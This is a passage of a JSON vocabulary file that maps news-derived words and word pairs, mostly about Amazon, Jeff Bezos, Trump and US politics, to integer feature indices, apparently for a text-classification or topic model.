\"donathan\": 163315,\n  \"editor acting\": 163316,\n  \"rank company\": 163317,\n  \"aggregating\": 163318,\n  \"unity rally\": 163319,\n  \"rocky\": 163320,\n  \"value right\": 163321,\n  \"meat production\": 163322,\n  \"cronyism\": 163323,\n  \"online 2558225\": 163324,\n  \"week days\": 163325,\n  \"destroy antitrust\": 163326,\n  \"fairly easily\": 163327,\n  \"privacy jeff\": 163328,\n  \"bush declared\": 163329,\n  \"veterans health\": 163330,\n  \"paying ballard\": 163331,\n  \"extensive coverage\": 163332,\n  \"zuckerberg 2018\": 163333,\n  \"tests\": 163334,\n  \"considering pressuring\": 163335,\n  \"3275\": 163336,\n  \"aberrant\": 163337,\n  \"disney covering\": 163338,\n  \"money politicians\": 163339,\n  \"regulate lease\": 163340,\n  \"stencil sprayed\": 163341,\n  \"anti semitic\": 163342,\n  \"submitting\": 163343,\n  \"growth amazon\": 163344,\n  \"ahead amazon\": 163345,\n  \"worrying headlines\": 163346,\n  \"employees told\": 163347,\n  \"clip sen\": 163348,\n  \"aws service\": 163349,\n  \"giants calling\": 163350,\n  \"trump financial\": 163351,\n  \"investigated\": 163352,\n  \"value reuters\": 163353,\n  \"medium alleged\": 163354,\n  \"left getty\": 163355,\n  \"times tribal\": 163356,\n  \"counterintelligence\": 163357,\n  \"conservatives finally\": 163358,\n  \"updatecode initmeta\": 163359,\n  \"childhood dream\": 163360,\n  \"amazon story\": 163361,\n  \"recommended mix\": 163362,\n  \"visited silicone\": 163363,\n  \"exercise substantial\": 163364,\n  \"listing\": 163365,\n  \"dweller\": 163366,\n  \"identify holy\": 163367,\n  \"hq2 wmal\": 163368,\n  \"sycophants\": 163369,\n  \"police amazon\": 163370,\n  \"way jeff\": 163371,\n  \"navigation leave\": 163372,\n  \"andy barr\": 163373,\n  \"similar flag\": 163374,\n  \"providing tire\": 163375,\n  \"stock declined\": 163376,\n  \"alleged targeting\": 163377,\n  \"sen marco\": 163378,\n  \"hacking wars\": 163379,\n  \"designs\": 163380,\n  \"famous clientele\": 163381,\n  \"iras\": 163382,\n  \"chicago does\": 163383,\n  \"amazon courtship\": 163384,\n  \"imposing 500\": 163385,\n  \"second connect\": 163386,\n  \"coverage plans\": 163387,\n  \"years straight\": 163388,\n  \"wasting\": 163389,\n  \"regular course\": 163390,\n  \"economy just\": 163391,\n  \"meet melania\": 163392,\n  \"infinitum bezos\": 163393,\n  \"london says\": 163394,\n  \"reactid 149\": 163395,\n  \"2018 carrefour\": 163396,\n  \"rogue president\": 163397,\n  \"ideology trump\": 163398,\n  \"murder conviction\": 163399,\n  \"imaginary monopoly\": 163400,\n  \"content director\": 163401,\n  \"zedong\": 163402,\n  \"disney fox\": 163403,\n  \"rules products\": 163404,\n  \"relations\": 163405,\n  \"school safety\": 163406,\n  \"iceland visit\": 163407,\n  \"chance getting\": 163408,\n  \"yyear\": 163409,\n  \"patent antithetical\": 163410,\n  \"extracting\": 163411,\n  \"unfairly benefiting\": 163412,\n  \"ranks search\": 163413,\n  \"marvelous surprising\": 163414,\n  \"helps determine\": 163415,\n  \"socialist country\": 163416,\n  \"pass laws\": 163417,\n  \"executive tom\": 163418,\n  \"roseanne\": 163419,\n  \"just mentioned\": 163420,\n  \"budget analysis\": 163421,\n  \"shippers amazon\": 163422,\n  \"chosen crystal\": 163423,\n  \"margins remain\": 163424,\n  \"capital gaps\": 163425,\n  \"zealand spreading\": 163426,\n  \"seek cash\": 163427,\n  \"rejected\": 163428,\n  \"issues including\": 163429,\n  \"church benedict\": 163430,\n  \"cloud home\": 163431,\n  \"thinking trump\": 163432,\n  \"advertising age\": 163433,\n  \"awkward tension\": 163434,\n  \"democratic city\": 163435,\n  \"players according\": 163436,\n  \"priest added\": 163437,\n  \"amazing scale\": 163438,\n  \"china huge\": 163439,\n  \"potential saturation\": 163440,\n  \"beneficial arrangement\": 163441,\n  \"financial follow\": 163442,\n  \"explicit\": 163443,\n  \"766 outlets\": 163444,\n  \"woot\": 163445,\n  \"tech frontiers\": 163446,\n  \"declared war\": 163447,\n  \"economy galloway\": 163448,\n  \"responded mockingly\": 163449,\n  \"company overall\": 163450,\n  \"investment overall\": 163451,\n  \"multiyear contracts\": 163452,\n  \"sex cabal\": 163453,\n  \"brandon morgan\": 163454,\n  \"nation especially\": 163455,\n  \"favreau posting\": 163456,\n  \"pestilential swarms\": 163457,\n  \"home line\": 163458,\n  \"overall ratings\": 163459,\n  \"signature\": 163460,\n  \"services listing\": 163461,\n  \"modal\": 163462,\n  \"frontrunner microsoft\": 163463,\n  \"raise wages\": 163464,\n  \"fedex dropped\": 163465,\n  \"brightcove net\": 163466,\n  \"multiple locations\": 163467,\n  \"jason trice\": 163468,\n  \"intl\": 163469,\n  \"revive american\": 163470,\n  \"condemning bezos\": 163471,\n  \"adviser attacks\": 163472,\n  \"trump presidential\": 163473,\n  \"governor bending\": 163474,\n  \"bloomberg editors\": 163475,\n  \"eternal neon\": 163476,\n  \"firing squad\": 163477,\n  \"month moved\": 163478,\n  \"department motley\": 163479,\n  \"difficulty trusting\": 163480,\n  \"growing dominance\": 163481,\n  \"murdoch married\": 163482,\n  \"raisers\": 163483,\n  \"experiences homelessness\": 163484,\n  \"reluctant permission\": 163485,\n  \"plan release\": 163486,\n  \"doomed\": 163487,\n  \"employee pyramid\": 163488,\n  \"current stats\": 163489,\n  \"william alatriste\": 163490,\n  \"data a4ee\": 163491,\n  \"usps delivers\": 163492,\n  \"red ink\": 163493,\n  \"positioned\": 163494,\n  \"grandson\": 163495,\n  \"leaf gear\": 163496,\n  \"mgmt\": 163497,\n  \"member states\": 163498,\n  \"discourse\": 163499,\n  \"rob pincus\": 163500,\n  \"mocking iowans\": 163501,\n  \"works rocket\": 163502,\n  \"including burger\": 163503,\n  \"city activists\": 163504,\n  \"commercial package\": 163505,\n  \"home trophies\": 163506,\n  \"important wrinkle\": 163507,\n  \"arnault facebook\": 163508,\n  \"ivory\": 163509,\n  \"report revealed\": 163510,\n  \"rhinoceros\": 163511,\n  \"negotiating\": 163512,\n  \"actor anthony\": 163513,\n  \"booking\": 163514,\n  \"explained don\": 163515,\n  \"amazon bloomberg\": 163516,\n  \"quoting sources\": 163517,\n  \"1342et copyright\": 163518,\n  \"activity gawande\": 163519,\n  \"competition cramer\": 163520,\n  \"read joseph\": 163521,\n  \"connolly ranking\": 163522,\n  \"counterfeited products\": 163523,\n  \"says customers\": 163524,\n  \"beast amazon\": 163525,\n  \"year worldwide\": 163526,\n  \"jose luis\": 163527,\n  \"uk teams\": 163528,\n  \"ballot free\": 163529,\n  \"reporting\": 163530,\n  \"chicksonright time\": 163531,\n  \"preset\": 163532,\n  \"cow revenue\": 163533,\n  \"joan hart\": 163534,\n  \"leads company\": 163535,\n  \"jet fuel\": 163536,\n  \"took matters\": 163537,\n  \"tropes\": 163538,\n  \"offering approximately\": 163539,\n  \"activation\": 163540,\n  \"755\": 163541,\n  \"accounting books\": 163542,\n  \"post known\": 163543,\n  \"foundation nonprofit\": 163544,\n  \"meghan markles\": 163545,\n  \"legislate\": 163546,\n  \"true nature\": 163547,\n  \"leaped forward\": 163548,\n  \"trump suddenly\": 163549,\n  \"week introduced\": 163550,\n  \"extended hike\": 163551,\n  \"provider carahsoft\": 163552,\n  \"newsworthiness\": 163553,\n  \"booze\": 163554,\n  \"ujfoqv0uzk\": 163555,\n  \"matthew whoop\": 163556,\n  \"public housing\": 163557,\n  \"pic drama\": 163558,\n  \"involved wrote\": 163559,\n  \"distributors\": 163560,\n  \"inconsistencies\": 163561,\n  \"book book\": 163562,\n  \"2018 page\": 163563,\n  \"contessa cook\": 163564,\n  \"service continues\": 163565,\n  \"000 assaults\": 163566,\n  \"francisco company\": 163567,\n  \"privacy problems\": 163568,\n  \"lt\": 163569,\n  \"investors stand\": 163570,\n  \"government contractor\": 163571,\n  \"korea warning\": 163572,\n  \"daggers\": 163573,\n  \"card say\": 163574,\n  \"latino voters\": 163575,\n  \"political waters\": 163576,\n  \"howard schultz\": 163577,\n  \"city tax\": 163578,\n  \"construction update\": 163579,\n  \"annual gathering\": 163580,\n  \"16000\": 163581,\n  \"prices reflect\": 163582,\n  \"michelle sacks\": 163583,\n  \"perished establishing\": 163584,\n  \"billion leap\": 163585,\n  \"plurality\": 163586,\n  \"facilities\": 163587,\n  \"information people\": 163588,\n  \"group microsoft\": 163589,\n  \"true watchdog\": 163590,\n  \"zillow data\": 163591,\n  \"checked series\": 163592,\n  \"pressphoto\": 163593,\n  \"month actuality\": 163594,\n  \"reach decacorn\": 163595,\n  \"big lie\": 163596,\n  \"moved\": 163597,\n  \"actual bonafide\": 163598,\n  \"adventure story\": 163599,\n  \"ehudgins heartland\": 163600,\n  \"president claimed\": 163601,\n  \"68m\": 163602,\n  \"retail tech\": 163603,\n  \"closest media\": 163604,\n  \"businesses integrating\": 163605,\n  \"portal starting\": 163606,\n  \"wealthwire\": 163607,\n  \"drone video\": 163608,\n  \"jam sense\": 163609,\n  \"decision commerce\": 163610,\n  \"prairie start\": 163611,\n  \"strongly positioned\": 163612,\n  \"grand jury\": 163613,\n  \"itep intense\": 163614,\n  \"commuter train\": 163615,\n  \"skyrocketing paralyze\": 163616,\n  \"patient deep\": 163617,\n  \"makes yard\": 163618,\n  \"9625 888\": 163619,\n  \"teens\": 163620,\n  \"roller\": 163621,\n  \"copious evidence\": 163622,\n  \"intelligence newsletter\": 163623,\n  \"fame\": 163624,\n  \"times dispatch\": 163625,\n  \"true inc_feature_image_style\": 163626,\n  \"dr holly\": 163627,\n  \"astronaut cady\": 163628,\n  \"sourcename videocardcontents\": 163629,\n  \"eff bezos\": 163630,\n  \"thedemocratic response\": 163631,\n  \"investigation wh\": 163632,\n  \"owned souq\": 163633,\n  \"fatalities\": 163634,\n  \"certain post\": 163635,\n  \"president lashed\": 163636,\n  \"groups\": 163637,\n  \"campaign deception\": 163638,\n  \"campaign look\": 163639,\n  \"state office\": 163640,\n  \"bezos net\": 163641,\n  \"did interfere\": 163642,\n  \"amazon fallout\": 163643,\n  \"amazon facing\": 163644,\n  \"squeebles spelling\": 163645,\n  \"amazon foray\": 163646,\n  \"grants\": 163647,\n  \"playbook newsletter\": 163648,\n  \"competition needs\": 163649,\n  \"democrats lagging\": 163650,\n  \"experience working\": 163651,\n  \"owner chance\": 163652,\n  \"poorly dem\": 163653,\n  \"impetus\": 163654,\n  \"parked\": 163655,\n  \"feds social\": 163656,\n  \"unlock\": 163657,\n  \"hostile relationship\": 163658,\n  \"thrown wrench\": 163659,\n  \"robbing 2018\": 163660,\n  \"center nonsupervisory\": 163661,\n  \"times bestseller\": 163662,\n  \"politico nancy\": 163663,\n  \"trump ai\": 163664,\n  \"bezos writer\": 163665,\n  \"seen taking\": 163666,\n  \"v4 return\": 163667,\n  \"stunts\": 163668,\n  \"website daily\": 163669,\n  \"trump victory\": 163670,\n  \"witness\": 163671,\n  \"shipping means\": 163672,\n  \"uses picture\": 163673,\n  \"identify grab\": 163674,\n  \"playing unfairly\": 163675,\n  \"doesn apply\": 163676,\n  \"animal\": 163677,\n  \"delivering ice\": 163678,\n  \"called hq2\": 163679,\n  \"earth happened\": 163680,\n  \"regulated industry\": 163681,\n  \"happening post\": 163682,\n  \"fawning profile\": 163683,\n  \"pakistan cohen\": 163684,\n  \"containment\": 163685,\n  \"amazon representative\": 163686,\n  \"expert joe\": 163687,\n  \"102602cb\": 163688,\n  \"customers doorsteps\": 163689,\n  \"critically reviewed\": 163690,\n  \"reviewing programme\": 163691,\n  \"retired early\": 163692,\n  \"way detracted\": 163693,\n  \"acquiescence\": 163694,\n  \"called long\": 163695,\n  \"null mobilelogo\": 163696,\n  \"caption toggle\": 163697,\n  \"umbrella sidewalk\": 163698,\n  \"counterfeiting trademark\": 163699,\n  \"presentations\": 163700,\n  \"printed 200\": 163701,\n  \"list simon\": 163702,\n  \"play based\": 163703,\n  \"carl jr\": 163704,\n  \"favour low\": 163705,\n  \"cohen microsoft\": 163706,\n  \"manoeuvre\": 163707,\n  \"rosenstein knows\": 163708,\n  \"earlier weakness\": 163709,\n  \"elected google\": 163710,\n  \"jordan weissmann\": 163711,\n  \"man korede\": 163712,\n  \"enabling follower\": 163713,\n  \"washington tussle\": 163714,\n  \"organics nutritional\": 163715,\n  \"phil longman\": 163716,\n  \"break allowing\": 163717,\n  \"times reported\": 163718,\n  \"service explaining\": 163719,\n  \"rising shipping\": 163720,\n  \"uproot\": 163721,\n  \"fortrump\": 163722,\n  \"boyle wants\": 163723,\n  \"gift guide\": 163724,\n  \"onewest\": 163725,\n  \"companies tech\": 163726,\n  \"amzn investors\": 163727,\n  \"intelligence projects\": 163728,\n  \"owe federal\": 163729,\n  \"fixing search\": 163730,\n  \"state loss\": 163731,\n  \"subdivision\": 163732,\n  \"shailene woodley\": 163733,\n  \"happy positive\": 163734,\n  \"named crystal\": 163735,\n  \"anne mahlum\": 163736,\n  \"logistics\": 163737,\n  \"copyright laws\": 163738,\n  \"funneling money\": 163739,\n  \"workers inspired\": 163740,\n  \"y8 typeof\": 163741,\n  \"site plan\": 163742,\n  \"thesequestions\": 163743,\n  \"powerful players\": 163744,\n  \"contract details\": 163745,\n  \"rosalind helderman\": 163746,\n  \"dvr space\": 163747,\n  \"lois kazakoff\": 163748,\n  \"safe increasingly\": 163749,\n  \"staffing decisions\": 163750,\n  \"gutting\": 163751,\n  \"line filene\": 163752,\n  \"arizona latino\": 163753,\n  \"competitively priced\": 163754,\n  \"new morning\": 163755,\n  \"uk leader\": 163756,\n  \"security mark\": 163757,\n  \"power\": 163758,\n  \"minister tried\": 163759,\n  \"outgrows\": 163760,\n  \"related weakness\": 163761,\n  \"faux agile\": 163762,\n  \"time despite\": 163763,\n  \"constituencies black\": 163764,\n  \"slap special\": 163765,\n  \"championed 100\": 163766,\n  \"195 shares\": 163767,\n  \"wish\": 163768,\n  \"enthralling\": 163769,\n  \"falsely disclaim\": 163770,\n  \"paradox written\": 163771,\n  \"dogged google\": 163772,\n  \"a4ee f1\": 163773,\n  \"nearly million\": 163774,\n  \"huge trade\": 163775,\n  \"interview politicians\": 163776,\n  \"long occupation\": 163777,\n  \"examiner president\": 163778,\n  \"shiny lightweight\": 163779,\n  \"amazon tight\": 163780,\n  \"detained robert\": 163781,\n  \"american doug\": 163782,\n  \"prohibition\": 163783,\n  \"congress moves\": 163784,\n  \"greg stohr\": 163785,\n  \"save america\": 163786,\n  \"professional wrestler\": 163787,\n  \"glumly protested\": 163788,\n  \"online travel\": 163789,\n  \"logistics amazon\": 163790,\n  \"appleton\": 163791,\n  \"mailed\": 163792,\n  \"tv thank\": 163793,\n  \"life thanks\": 163794,\n  \"reagan battalion\": 163795,\n  \"work regarding\": 163796,\n  \"related pronouncements\": 163797,\n  \"anddomestic policy\": 163798,\n  \"executives created\": 163799,\n  \"breach data\": 163800,\n  \"mike nichols\": 163801,\n  \"regimes globally\": 163802,\n  \"amzn wasn\": 163803,\n  \"trump wants\": 163804,\n  \"michael believes\": 163805,\n  \"morning naz\": 163806,\n  \"054 000\": 163807,\n  \"secured higher\": 163808,\n  \"resulted\": 163809,\n  \"nick niedzwiadek\": 163810,\n  \"stocks managed\": 163811,\n  \"snapchat amazon\": 163812,\n  \"commerce retail\": 163813,\n  \"hiring amazon\": 163814,\n  \"sitting president\": 163815,\n  \"comey reportedly\": 163816,\n  \"affairs dan\": 163817,\n  \"shooting suspect\": 163818,\n  \"foreign trade\": 163819,\n  \"strong voice\": 163820,\n  \"treated equally\": 163821,\n  \"sen ted\": 163822,\n  \"leading scientists\": 163823,\n  \"talks ahead\": 163824,\n  \"tenney senate\": 163825,\n  \"tells cujo\": 163826,\n  \"venezuela legitimate\": 163827,\n  \"keys\": 163828,\n  \"prosecution bloomberg\": 163829,\n  \"cairo diamond\": 163830,\n  \"leone\": 163831,\n  \"buy supplies\": 163832,\n  \"lose control\": 163833,\n  \"rep alexandia\": 163834,\n  \"affair people\": 163835,\n  \"delegates\": 163836,\n  \"lerner shelved\": 163837,\n  \"cites govt\": 163838,\n  \"miles stopped\": 163839,\n  \"slingbox\": 163840,\n  \"data vestager\": 163841,\n  \"nonexistent federal\": 163842,\n  \"cnbc simon\": 163843,\n  \"91c\": 163844,\n  \"helped increase\": 163845,\n  \"rfp criteria\": 163846,\n  \"phoenix area\": 163847,\n  \"little legal\": 163848,\n  \"award winner\": 163849,\n  \"eqnjgycf32\": 163850,\n  \"trump story\": 163851,\n  \"legal entanglements\": 163852,\n  \"basics boot\": 163853,\n  \"seas 140\": 163854,\n  \"cash development\": 163855,\n  \"education betsy\": 163856,\n  \"ireland finland\": 163857,\n  \"collar president\": 163858,\n  \"thumbimageelem jquery\": 163859,\n  \"taxes president\": 163860,\n  \"dedication\": 163861,\n  \"trump massive\": 163862,\n  \"seattle mayor\": 163863,\n  \"mnuchin obtained\": 163864,\n  \"clearances pure\": 163865,\n  \"convenient times\": 163866,\n  \"focus does\": 163867,\n  \"study cnbc\": 163868,\n  \"amzn profit\": 163869,\n  \"ars technica\": 163870,\n  \"caribbean\": 163871,\n  \"direct primary\": 163872,\n  \"look great\": 163873,\n  \"decker plane\": 163874,\n  \"traditionally stayed\": 163875,\n  \"investors including\": 163876,\n  \"chemical sent\": 163877,\n  \"circles including\": 163878,\n  \"strength nomura\": 163879,\n  \"using tweets\": 163880,\n  \"organization representative\": 163881,\n  \"china starting\": 163882,\n  \"dopp justin\": 163883,\n  \"perspective just\": 163884,\n  \"flare\": 163885,\n  \"immediately maxsa\": 163886,\n  \"726\": 163887,\n  \"amazon workplaces\": 163888,\n  \"timestampdisplay\": 163889,\n  \"renowned real\": 163890,\n  \"dual\": 163891,\n  \"harriet wilson\": 163892,\n  \"similar ceo\": 163893,\n  \"trump strategist\": 163894,\n  \"mcafee\": 163895,\n  \"transportation hubs\": 163896,\n  \"outlet saying\": 163897,\n  \"tech retailer\": 163898,\n  \"awfully worried\": 163899,\n  \"season buoyed\": 163900,\n  \"helping\": 163901,\n  \"completely true\": 163902,\n  \"uf\": 163903,\n  \"feel\": 163904,\n  \"paper owner\": 163905,\n  \"conference nadal\": 163906,\n  \"schweitzer lunch\": 163907,\n  \"rubble penney\": 163908,\n  \"insurance cover\": 163909,\n  \"hints parent\": 163910,\n  \"epic proportion\": 163911,\n  \"currentvideocollection\": 163912,\n  \"relationship says\": 163913,\n  \"paper titled\": 163914,\n  \"america taxpayers\": 163915,\n  \"flow decreased\": 163916,\n  \"specifically facebook\": 163917,\n  \"role does\": 163918,\n  \"amazon averaging\": 163919,\n  \"senate jaspers\": 163920,\n  \"smallest scale\": 163921,\n  \"fault 2018\": 163922,\n  \"foxnews coverage\": 163923,\n  \"devos proposed\": 163924,\n  \"stay rich\": 163925,\n  \"beard media\": 163926,\n  \"afp reports\": 163927,\n  \"borough given\": 163928,\n  \"americans desensitized\": 163929,\n  \"amazon buffett\": 163930,\n  \"racked reported\": 163931,\n  \"links amazon\": 163932,\n  \"lite conversation\": 163933,\n  \"warehouse job\": 163934,\n  \"liaison earns\": 163935,\n  \"considered complete\": 163936,\n  \"becker subject\": 163937,\n  \"asymmetric competition\": 163938,\n  \"lehman collapse\": 163939,\n  \"posted losses\": 163940,\n  \"advocate needs\": 163941,\n  \"movement reporter\": 163942,\n  \"employee responding\": 163943,\n  \"service handle\": 163944,\n  \"business despite\": 163945,\n  \"paterson graf\": 163946,\n  \"04m\": 163947,\n  \"baby tissue\": 163948,\n  \"erupting\": 163949,\n  \"service runs\": 163950,\n  \"investors expected\": 163951,\n  \"later participated\": 163952,\n  \"usps service\": 163953,\n  \"stated colin\": 163954,\n  \"petition calls\": 163955,\n  \"putin amid\": 163956,\n  \"families rising\": 163957,\n  \"unwound\": 163958,\n  \"coalition website\": 163959,\n  \"yep\": 163960,\n  \"drastically different\": 163961,\n  \"fantastic news\": 163962,\n  \"howorth lessons\": 163963,\n  \"petco\": 163964,\n  \"yellow journalism\": 163965,\n  \"n\\u00f3brega\": 163966,\n  \"llp owns\": 163967,\n  \"cuomo table\": 163968,\n  \"issue weare\": 163969,\n  \"record antitrust\": 163970,\n  \"blues\": 163971,\n  \"board writes\": 163972,\n  \"prefabricated\": 163973,\n  \"caller interviewers\": 163974,\n  \"diet shed\": 163975,\n  \"marcia\": 163976,\n  \"rabbis\": 163977,\n  \"waiving\": 163978,\n  \"lehrer especially\": 163979,\n  \"home voice\": 163980,\n  \"removed funny\": 163981,\n  \"s9x i0\": 163982,\n  \"routinely handicaps\": 163983,\n  \"man tom\": 163984,\n  \"reporting annual\": 163985,\n  \"experience includes\": 163986,\n  \"latest scoops\": 163987,\n  \"president policies\": 163988,\n  \"great value\": 163989,\n  \"paying blue\": 163990,\n  \"work sharing\": 163991,\n  \"grassroots pressure\": 163992,\n  \"draws closer\": 163993,\n  \"paper jimmy\": 163994,\n  \"repeatedly taken\": 163995,\n  \"trump fielded\": 163996,\n  \"sushmita agarwal\": 163997,\n  \"stmp\": 163998,\n  \"target right\": 163999,\n  \"broadly speaking\": 164000,\n  \"taxdodging\": 164001,\n  \"robert cringely\": 164002,\n  \"states working\": 164003,\n  \"having big\": 164004,\n  \"asia pence\": 164005,\n  \"aforementioned ck\": 164006,\n  \"climate regulation\": 164007,\n  \"national conservatives\": 164008,\n  \"government wars\": 164009,\n  \"investor skepticism\": 164010,\n  \"higher operating\": 164011,\n  \"allowed multiple\": 164012,\n  \"media different\": 164013,\n  \"pig amazon\": 164014,\n  \"tasos katopodis\": 164015,\n  \"susan schmidt\": 164016,\n  \"parents started\": 164017,\n  \"bazemore ap\": 164018,\n  \"report phishing\": 164019,\n  \"united arab\": 164020,\n  \"sustainable biofuels\": 164021,\n  \"mortgage loans\": 164022,\n  \"caption snl\": 164023,\n  \"disciplinary\": 164024,\n  \"explored offering\": 164025,\n  \"suicides jeff\": 164026,\n  \"sciences logistics\": 164027,\n  \"slowing destroying\": 164028,\n  \"event permit\": 164029,\n  \"campaign built\": 164030,\n  \"amazon itunes\": 164031,\n  \"cheaper way\": 164032,\n  \"help decide\": 164033,\n  \"us3 billion\": 164034,\n  \"polito\": 164035,\n  \"trump fails\": 164036,\n  \"apple current\": 164037,\n  \"2015 227180\": 164038,\n  \"welcome brazil\": 164039,\n  \"self employed\": 164040,\n  \"america repatriation\": 164041,\n  \"sens ron\": 164042,\n  \"stalwarts\": 164043,\n  \"seattle entertainment\": 164044,\n  \"journalists hope\": 164045,\n  \"nbc facebook\": 164046,\n  \"hooded capes\": 164047,\n  \"cisco systems\": 164048,\n  \"positive contributions\": 164049,\n  \"____________________________trump\": 164050,\n  \"equally legendary\": 164051,\n  \"carol schmidt\": 164052,\n  \"iti\": 164053,\n  \"companies weighing\": 164054,\n  \"officials angrily\": 164055,\n  \"2016 probably\": 164056,\n  \"currency crisis\": 164057,\n  \"1905\": 164058,\n  \"ice amazon\": 164059,\n  \"6jygtabh2v\": 164060,\n  \"higher earners\": 164061,\n  \"term effect\": 164062,\n  \"shy away\": 164063,\n  \"announced proposal\": 164064,\n  \"borders protection\": 164065,\n  \"sent jeremy\": 164066,\n  \"massive swamp\": 164067,\n  \"ami demand\": 164068,\n  \"america filed\": 164069,\n  \"doesn pay\": 164070,\n  \"favorite impulse\": 164071,\n  \"private label\": 164072,\n  \"officially titled\": 164073,\n  \"case management\": 164074,\n  \"tomove forward\": 164075,\n  \"participating employers\": 164076,\n  \"facetime unavailable\": 164077,\n  \"black boxes\": 164078,\n  \"router\": 164079,\n  \"leaking company\": 164080,\n  \"inexpensive smaller\": 164081,\n  \"mother maxim\": 164082,\n  \"generics\": 164083,\n  \"hill people\": 164084,\n  \"intuition taste\": 164085,\n  \"je alleen\": 164086,\n  \"tabloid efforts\": 164087,\n  \"ire regarding\": 164088,\n  \"factual statistic\": 164089,\n  \"image library\": 164090,\n  \"movie reviews\": 164091,\n  \"expressed frustration\": 164092,\n  \"poor families\": 164093,\n  \"government action\": 164094,\n  \"maximise\": 164095,\n  \"richard nixon\": 164096,\n  \"world richest\": 164097,\n  \"headlinetext believe\": 164098,\n  \"buying patterns\": 164099,\n  \"just check\": 164100,\n  \"yearly grant\": 164101,\n  \"ridesharing warning\": 164102,\n  \"retailers ebay\": 164103,\n  \"state approval\": 164104,\n  \"internal voice\": 164105,\n  \"half buried\": 164106,\n  \"early 1970s\": 164107,\n  \"follow emily\": 164108,\n  \"election pits\": 164109,\n  \"different habitats\": 164110,\n  \"scripts stance\": 164111,\n  \"bad nafta\": 164112,\n  \"2019 tax\": 164113,\n  \"emanu el\": 164114,\n  \"point mean\": 164115,\n  \"rubiginosa\": 164116,\n  \"london apt\": 164117,\n  \"hillary diane\": 164118,\n  \"macy thanksgiving\": 164119,\n  \"included nelson\": 164120,\n  \"city cements\": 164121,\n  \"times mingling\": 164122,\n  \"enquirer posted\": 164123,\n  \"brothers collapse\": 164124,\n  \"wouldn buy\": 164125,\n  \"companies cut\": 164126,\n  \"different cities\": 164127,\n  \"cnbc fortunately\": 164128,\n  \"today books\": 164129,\n  \"carell stepped\": 164130,\n  \"guru rep\": 164131,\n  \"lineage\": 164132,\n  \"withers\": 164133,\n  \"studios embedded\": 164134,\n  \"falls politico\": 164135,\n  \"benefit investors\": 164136,\n  \"working class\": 164137,\n  \"broadcasting corporation\": 164138,\n  \"sales according\": 164139,\n  \"thailand continue\": 164140,\n  \"dc carell\": 164141,\n  \"limit large\": 164142,\n  \"florence midterms\": 164143,\n  \"deforesters destroying\": 164144,\n  \"zing 6190\": 164145,\n  \"234 sealed\": 164146,\n  \"pressure cooker\": 164147,\n  \"anwar son\": 164148,\n  \"petrochina past\": 164149,\n  \"reads want\": 164150,\n  \"saves amazon\": 164151,\n  \"administrations bolsonaro\": 164152,\n  \"tong hyung\": 164153,\n  \"facebook yesterday\": 164154,\n  \"baseball umpire\": 164155,\n  \"single employer\": 164156,\n  \"major foothold\": 164157,\n  \"real attempts\": 164158,\n  \"hrafnsson\": 164159,\n  \"plot twist\": 164160,\n  \"beings involved\": 164161,\n  \"guide calendar\": 164162,\n  \"200 places\": 164163,\n  \"making fun\": 164164,\n  \"challenging apple\": 164165,\n  \"national parents\": 164166,\n  \"amazon soars\": 164167,\n  \"presented\": 164168,\n  \"enforce sales\": 164169,\n  \"years excited\": 164170,\n  \"nobel economics\": 164171,\n  \"finding ocasio\": 164172,\n  \"roast blend\": 164173,\n  \"delay tactics\": 164174,\n  \"mail services\": 164175,\n  \"getnamespacefeature\": 164176,\n  \"overnight\": 164177,\n  \"know try\": 164178,\n  \"box trumped\": 164179,\n  \"takes half\": 164180,\n  \"bloomingdale\": 164181,\n  \"flowers wrapped\": 164182,\n  \"group finances\": 164183,\n  \"dollar bonuses\": 164184,\n  \"covering business\": 164185,\n  \"sold amzn\": 164186,\n  \"manual labor\": 164187,\n  \"anthony atamanuik\": 164188,\n  \"actually getting\": 164189,\n  \"spanish clothing\": 164190,\n  \"say exactly\": 164191,\n  \"thread subscribing\": 164192,\n  \"company senior\": 164193,\n  \"pixel\": 164194,\n  \"provide consistent\": 164195,\n  \"volatile autumn\": 164196,\n  \"pieces central\": 164197,\n  \"statement jeff\": 164198,\n  \"private photos\": 164199,\n  \"galloway facebook\": 164200,\n  \"considered overbuilt\": 164201,\n  \"arbitrarily hiking\": 164202,\n  \"metropolitan airport\": 164203,\n  \"just relax\": 164204,\n  \"campaign journalist\": 164205,\n  \"hot points\": 164206,\n  \"changed changed\": 164207,\n  \"kramer\": 164208,\n  \"motivated second\": 164209,\n  \"city completely\": 164210,\n  \"kris aquino\": 164211,\n  \"absorb higher\": 164212,\n  \"bulk ordering\": 164213,\n  \"company lawyer\": 164214,\n  \"beauty shoppers\": 164215,\n  \"repeatedly sought\": 164216,\n  \"industry dominates\": 164217,\n  \"ice methods\": 164218,\n  \"alessandra\": 164219,\n  \"post prime\": 164220,\n  \"random carrell\": 164221,\n  \"oracle nasdaq\": 164222,\n  \"mistress news\": 164223,\n  \"losing amazon\": 164224,\n  \"church groups\": 164225,\n  \"amassed fortune\": 164226,\n  \"daniel sackheim\": 164227,\n  \"hotel lobby\": 164228,\n  \"carry market\": 164229,\n  \"turns delicate\": 164230,\n  \"rates despite\": 164231,\n  \"category millennials\": 164232,\n  \"ask does\": 164233,\n  \"eventually finds\": 164234,\n  \"games anthony\": 164235,\n  \"post documented\": 164236,\n  \"rep\": 164237,\n  \"story showing\": 164238,\n  \"venturing\": 164239,\n  \"stances\": 164240,\n  \"corruption plain\": 164241,\n  \"bookshelves\": 164242,\n  \"meltdown connecticut\": 164243,\n  \"acquiring pillpack\": 164244,\n  \"early sign\": 164245,\n  \"tweeted adding\": 164246,\n  \"imran\": 164247,\n  \"couldn fly\": 164248,\n  \"personal embarrassment\": 164249,\n  \"cnnpressroom files\": 164250,\n  \"world hang\": 164251,\n  \"moving zinke\": 164252,\n  \"dim sum\": 164253,\n  \"stories register\": 164254,\n  \"kids program\": 164255,\n  \"naturalism meets\": 164256,\n  \"crisis david\": 164257,\n  \"throne\": 164258,\n  \"cronyism relationships\": 164259,\n  \"average monthly\": 164260,\n  \"finding suggests\": 164261,\n  \"woodward fear\": 164262,\n  \"praising zinke\": 164263,\n  \"motivated image\": 164264,\n  \"world helped\": 164265,\n  \"video election\": 164266,\n  \"sequitur senator\": 164267,\n  \"theories involving\": 164268,\n  \"best talent\": 164269,\n  \"kentucky students\": 164270,\n  \"believe jeopardize\": 164271,\n  \"journalist jamal\": 164272,\n  \"ground rates\": 164273,\n  \"coming comments\": 164274,\n  \"transitioning\": 164275,\n  \"news local\": 164276,\n  \"streaming mcmafia\": 164277,\n  \"morning remember\": 164278,\n  \"self professed\": 164279,\n  \"store vacancies\": 164280,\n  \"major force\": 164281,\n  \"quickly panned\": 164282,\n  \"die samen\": 164283,\n  